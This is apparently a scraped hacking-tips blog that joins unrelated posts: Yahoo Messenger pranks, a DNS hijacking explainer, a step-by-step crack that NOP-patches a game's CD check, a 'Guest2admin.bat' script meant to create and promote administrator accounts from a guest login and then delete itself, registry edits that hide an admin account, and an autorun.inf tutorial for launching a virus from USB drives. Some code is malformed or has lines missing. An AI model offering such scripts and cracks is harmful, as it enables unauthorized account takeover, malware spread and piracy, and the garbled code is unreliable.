Sunday, September 15, 2013

How to Hack Yahoo Messenger

Yahoo Messenger is one of the highly popular and most widely used instant messaging service in the world offering a wide variety of features to it’s users, all for free. This has made it the right choice for all those who are waiting to chat and communicate with their far away friends and relatives.
However, while some people use Yahoo Messenger only to chat with their friends and known ones, many others use it to have fun by joining the chat rooms and chatting with the strangers. If you’re a similar person who would like to have fun during the chat, this post if for you!
In this post, I will show you some really interesting Yahoo Messenger hacks using which it is possible to play pranks with your friends and strangers during the chat. Below is a list of some cool hacks that you’re sure to enjoy:

1. Chat with Multiple Names Simultaneously

How about chatting with your friend with two or more different names at a time? Well, do not think that this is impossible! This can easily be done with a simple workaround which enables you to chat with as many different names as you can with the same or different people.
For example, you may chat with Person-A using one name and with Person-B using the other. You can also chat with the same person using different names or any other combination. All of this goes really unnoticed by the user on the other side, while you are sure to have some real fun.
Here is a step-by-step procedure to implement this hack:
  1. Sign in to your Yahoo Messenger. From the top, click on Messenger -> My Account Info. You will be taken to a web page where you need to log in to your account.
  2. Now, you should be on the Profile Settings page. Scroll down to see the option Account Settings as shown below. From there, click on the link which says: “Manage your Yahoo! aliases”.
  3. From the Aliases page, click on: “Add an alias”. You can create as many aliases you want. Choose unique names for your alias and once you’re done, click on “close”.

  4. You need to sign out of Yahoo Messenger and sign in again to see the changes. Once you have done this, double-click on any name from your contact list or chat room to open a new chat window. You should now see a list of your aliases appearing in the chat window to choose from.

  1. To chat with multiple names with a single person, just follow the steps below:
    • Double-click on the name of the person in the chat room or contact list.
    • Select any name from your “alias” list and ping the user with that name. Immediately close the chat window before you get a reply from that person.
    • Again double-click on the same person’s name and ping him/her with another name from your “alias” list. This time do not close the window.
    • Just wait a few seconds! When the person replies to both your pings, you will have two tabs in the same chat window from where you can chat with the same person using two different names. Enjoy!!!
Before you try this hack, make sure that you have not set any display image for your profile. If not, there are chances of other person identifying your prank.
To disable the display image, just click on Messenger -> My Display Image from the top menu of your YM window and set the option to “Don’t share a display image”.
I hope you like this hack. Now let us move forward to our next hack that is even more exciting!

2. Play Prank with Your Friends Using a Fake Webcam

Ever wanted to fool your friends with a fake web camera? If so, here is a cool hack using which it is possible to fool users on Yahoo Messenger with a fake webcam on your computer. Below is a step-by-step procedure to configure the fake webcam on your computer:
  1. Download Fake Webcam software from the following link:
  2. Install Fake Webcam on your computer and configure it as follows.
  3. From your Yahoo Messenger window, click on “Messenger” at the top and select the option “My Webcam”.
  4. You should now get a blank Webcam Broadcast window. From there, click on File -> Preferences to open the “Yahoo! Messenger Preferences” window as shown below. From the “Category” list, select the option “Webcam Broadcast”.

  5. As shown in the above snapshot, click on “Camera Source”, select “Fake Webcam Source” as your source of camera and click on “OK”.
  6. Now, open the Fake Webcam application, load your favorite video and click on play button. You should now see the same video appearing on the Yahoo Messenger video broadcast window as show below:

  7. Click on “Broadcast” button on the Yahoo Messenger webcam window to start broadcasting the video.
If you are using aliases, you can change your webcam profile from File -> Change Profile option on the webcam window to enable the webcam for the current alias.
That’s it! You now have the fake webcam running on your computer.

3. Yahoo Messenger Invisible Hack

Most users on Yahoo Messenger hide their presence by activating the “invisible mode”, so that they appear as offline to everyone. But, how do you find out their true status? Well, here is a Yahoo Messenger invisible hack to catch those users who are hiding their true status by activating the “invisible mode”.
There are many tools out there to do this job, but most of them are found to have been infected with trojan and other malware. However, I have found some of the free online services that help you identify the true status of Yahoo users:
Just visit any of the above mentioned websites, enter the target Yahoo ID or screenname that you want to check and press the search button. With in a few seconds you will find out the true status of the user.

DNS Hijacking: What it is and How it Works

DNS hijacking (sometimes referred to as DNS redirection) is a type of malicious attack that overrides a computer’s TCP/IP settings to point it at a rogue DNS server, thereby invalidating the default DNS settings. In other words, when an attacker takes control of a computer to alter its DNS settings so that it now points to a rogue DNS server, the process is referred to as DNS hijacking.
As we all know, the “Domain Name System (DNS)” is mainly responsible for translating a user friendly domain name such as “” to its corresponding IP address “″. Having a clear idea of DNS and its working can help you better understand what DNS hijacking is all about. If you are fairly new to the concept of DNS, I would recommend reading my previous post on How Domain Name System Works.

How DNS Hijacking Works?

As mentioned before, DNS is the one that is responsible for mapping the user friendly domain names to their corresponding IP addresses. This DNS server is owned and maintained by your Internet service provider (ISP) and many other private business organizations. By default, your computer is configured to use the DNS server from the ISP. In some cases, your computer may even be using the DNS services of other reputed organizations such as Google. In this case, you are said to be safe and everything seems to work normally.

But, imagine a situation where a hacker or a malware program gains unauthorized access to your computer and changes the DNS settings, so that your computer now uses one of the rogue DNS servers that is owned and maintained by the hacker. When this happens, the rogue DNS server may translate domain names of desirable websites (such as banks, search engines, social networking sites etc.) to IP addresses of malicious websites. As a result, when you type the URL of a website in the address bar, you may be taken to a fake website instead of the one you are intending for. Sometimes, this can put you in deep trouble!

What are the Dangers of DNS Hijacking?

The dangers of DNS hijacking can vary and depend on the intention behind the attack. Many ISPs such as “OpenDNS” and “Comcast” use DNS hijacking for introducing advertisements or collecting statistics. Even though this can cause no serious damage to the users, it is considered as a violation of RFC standards for DNS responses.
Other dangers of DNS hijacking include the following attacks:
Pharming: This is a kind of attack where a website’s traffic is redirected to another website that is a fake one. For example, when a user tries to visit a social networking website such as he may be redirected to another website that is filled with pop-ups and advertisements. This is often done by hackers in order to generate advertising revenue.
Phishing: This is a kind of attack where users are redirected to a malicious website whose design (look and feel) matches exactly with that of the original one. For example, when a user tries to log in to his bank account, he may be redirected to a malicious website that steals his login details.

How to Prevent DNS Hijacking?

In most cases, attackers make use of malware programs such as a trojan horse to carry out DNS hijacking. These DNS hacking trojans are often distributed as video and audio codecs, video downloaders, YoTube downloaders or as other free utilities. So, in order to stay protected, it is recommended to stay away from untrusted websites that offer free downloads. The DNSChanger trojan is an example of one such malware that hijacked the DNS settings of over 4 million computers to drive a profit of about 14 million USD through fraudulent advertising revenue.
Also, it is necessary to change the default password of your router so that it would not be possible for the attacker to modify your router settings using the default password that came with the factory setting. For more details on this topic you can read my other post on How to hack an Ethernet ADSL Router.
Installing a good antivirus program and keeping it up-to-date can offer a great deal of protection to your computer against any such attacks.

What if you are already a victim of DNS hijacking?

If you suspect that your computer is infected with a malware program such as DNSChanger, you need not panic. It is fairly simple and easy to recover from the damage caused by such programs. All you have to do is, just verify your current DNS settings to make sure that you are not using any of those DNS IPs that are blacklisted. Otherwise re-configure your DNS settings as per the guidelines of your ISP.


Using W32Dasm, and HIEW. 

OK, let’s start:
First of all, you have to run the damn game you want to crack, without the CD.
The game, doesn’t work of course, (Please, don’t panic) BUT a window pops up, telling you an error message. 
This error message will help you to crack the game so, you’ve got to remember it.
For example: Please insert the - CD, or: You need the CD to play the - . 
( -, is the game you want to crack). Anyway, if you are so idiot and you can’t remember it, write it, in a little piece of paper.
Now, run Win32Dasm, and on the toolbar, press the first little button on the left, OR, go to Disassembler ->Open file to Disassemble. A menu will pop up. Select the exe which you want to crack. The disassemble, will take few minutes so, I suggest you, to go for shitting.

OK, it finished its process.
Now, in your screen, there is a strange text, and we can’t understand anything of course. Don’t worry, the only thing we have to do, ( If you want, you can change the font), is to click on the String Data References, the button next to the print button (Strn.REF).
You can see a window which is called String Data Items. Scroll down, and try to find the game’s error message. When you’ll find it, double click on it, and then, close the window, to go back to the Win32Dasm text.
As you can see you are somewhere in the CD check routine. This is the message’s place. Now comes the interesting and difficult part, so, be careful.
We don’t know what all these shits mean, BUT we must know the @ offset of every call and jump command.
Write down, every call and jump @ offset number. (You have to be sure, that the OPBAR change its used color to green). You need the number behind the @offset without the h. Let’s go to HIEW, now.

To move up and down, use the cursor keys. Start HIEW. exe.
In the HIEW directory, there is a list of exes and programs. Go to the directory, which you saved the game’s exe, we want to crack, and click on the exe. Click F4, and then, a menu will pop up, with 3 words. Text, Hex, and Decode. Click on Decode, and now, we can understand the list of numbers.
Click F5, and you can now enter the number, we wrote down, in Win32Dasm. Type it, and you will be placed at the number’s place. The cursor is placed on a command.

Before I’ll continue, I want to explain you something. For example, if the command where our cursor is placed on, is E92BF9BF74, means that it is 5 bytes.
Every 2 numbers, are one byte: E9-2B-F9-BF-74 = 90-90-90-90-90. 10 letters, mean, 5 bytes.
OK, if you understood it, you can continue.

Press F3, which means edit, and now you can edit these ten numbers.
Type five times, the number 90. For every byte, 90. Now click on F10 to exit.
We cracked the CD protection


1. Make a folder on the desktop and name it as “folder”
2. Now, open notepad and write

 ren folder folder.{21EC2020-3AEA-1069-A2DD-08002B30309D} 

and now (Notepad Menu) File>save as.
3. In the ‘save as’ name it as lock.bat and click save ! (Save it on Desktop)
4. Now, again open notepad again and write

 ren folder.{21EC2020-3AEA-1069-A2DD-08002B30309D}

 folder and now (Notepad Menu) File>save as.
5. In the ‘save as’ name it as key.bat and click save ! (Save it on Desktop)
6. Now, double click lock.bat to lock the folder and now if you open your folder, control panel will open up !
7. Now, double click key.bat to open the folder and now if you open your folder, you can access your data inside the folder again !
8. Lock your folder and hide the key.bat somewhere else on your hard disk !
9. Whenever you want to open your folder just paste the key.bat on desktop and open your folder using it ! :)

Hack Administrator from Guest

Hack Administrator Account from Guest Account.Yes!! that is quite possible.All you need to do is to follow the below procedure.

echo off
title Please wait...
net user add Username Password /add
net user localgroup Administrators Username /add
net user Guest 420 /active:yes
net localgroup Guests Guest /DELETE
net localgroup Administrators Guest /add
del %0

Copy this to notepad and save the file as "Guest2admin.bat"
then u can double click the file to execute or run in the cmd.
it works...



When you install Windows XP an Administrator Account is created (you are asked to supply an administrator password), but the "Welcome Screen" does not give you the option to log on as Administrator unless you boot up in Safe Mode.
First you must ensure that the Administrator Account is enabled:
1 open Control Panel
2 open Administrative Tools
3 open Local Security Policy
4 expand Local Policies
5 click on Security Options
6 ensure that Accounts: Administrator account status is enabled Then follow the instructions from the "Win2000 Logon Screen Tweak" ie.
1 open Control Panel
2 open User Accounts
3 click Change the way users log on or log off
4 untick Use the Welcome Screen
5 click Apply Options
You will now be able to log on to Windows XP as Administrator in Normal Mode.


Start the Registry Editor Go to:
HKEY_LOCAL_MACHINE \ SOFTWARE \ Microsoft \ Windows NT \ CurrentVersion \ Winlogon \ SpecialAccounts \ UserList \
Right-click an empty space in the right pane and select New > DWORD Value Name the new value Administrator. Double-click this new value, and enter 1 as it's Value data. Close the registry editor and restart.


Thursday, September 12, 2013

How to make Autorun.inf virus

                                                    Introduction to Autorun.inf File:

Auto run is file that triggers other programs,documents ,other files to be opened when the cd or pen drives are inserted.  Simpy triggers.When cd or pen drives are inserted, windows will search for the autorun.inf file and follow the instructions of autorun.inf file(instructions have written inside the autorun.inf file).

                                                    How to create Autorun file?

Open notepad type this command:

save the file as "autorun.inf" (select all files, not text )

Complete Syntax and instructions inside the Autorun file:

Basic syntax must be inside  the autorun.inf file is :
This will be used to identify the the file as autorun.

This will specify which application should be opened when the cd or pen drive is opened
This will launch the virus.exe file when cd or pen drive is opened.  The file should be in root directory.if the file is in any other sub directories ,then we have to specify it

Nothing big difference. if you right click and select explore option in cd or pen drive.  This command will be run.

Same as the above , but it will launch the the program when auto played.

The SHELL\VERB command adds a custom command to the drive's shortcut menu. This custom command can for example be used to launch an application on the CD/DVD.


Use a series of shell commands to specify one or more entries in the pop-up menu that appears when the user right-clicks on the CD icon. (The shell entries supplement the open command.)


Change the icon of your pen drive or cd.  you can use .ico,.bmp images(also .exe,.dll)


Label=Specifies a text label to displayed for this CD in Explorer
Note that using the LABEL option can lead to problems displaying the selected ICON under Windows XP.
Label=Ethical hacking

This example will give you complete details about the autorun.inf file.This is the instructions that saved in the infected(call virus programs) autorun.inf file:


Why Antivirus Block Autorun.inf file?

From above ,you come to know that autorun.inf file is not virus.  But why antivirus blocks it?  Because as i told autorun file call or launch any application or exe files.  It will lead to virus attack.  If the autorun.inf is blocked,then there is no way to launch the virus code. 

Autorun is not virus but it can call virus files.

Chat in MS-DOS using IP address

                                                                         Step 1 :
Get  the ip address of your friend's system.

if you are using college or school system,then ip address will be in particular range.

                                                                          Step 2 :

 copy the following Batch code in notepad;

@echo off
echo TypeIPAddress
set /p n=IPAddress:
set /p m=Message:
net send %n% %m%

Goto A
Save the file with .bat extension(For Eg: message.bat)

                                                                            Step 3 : 

Open command prompt and navigate to that batch file location.
open the file in notepad.

If you don't know how to move to that path,simply drog and drop in cmd.Then hit enter.

                                                                             Step 4 :

Now it will ask you for the IPAddress.
Enter the IP address which you want to send message
Hit enter
Now it will ask you for the message.
Enter and hit enter

The user with whom you connecting system's cmd should be opened in order to receive. 


What is next? Comment Here! If the above method not working for you. Then comment what you did and What it showing. Or is it working perfectly ?then share your experience with us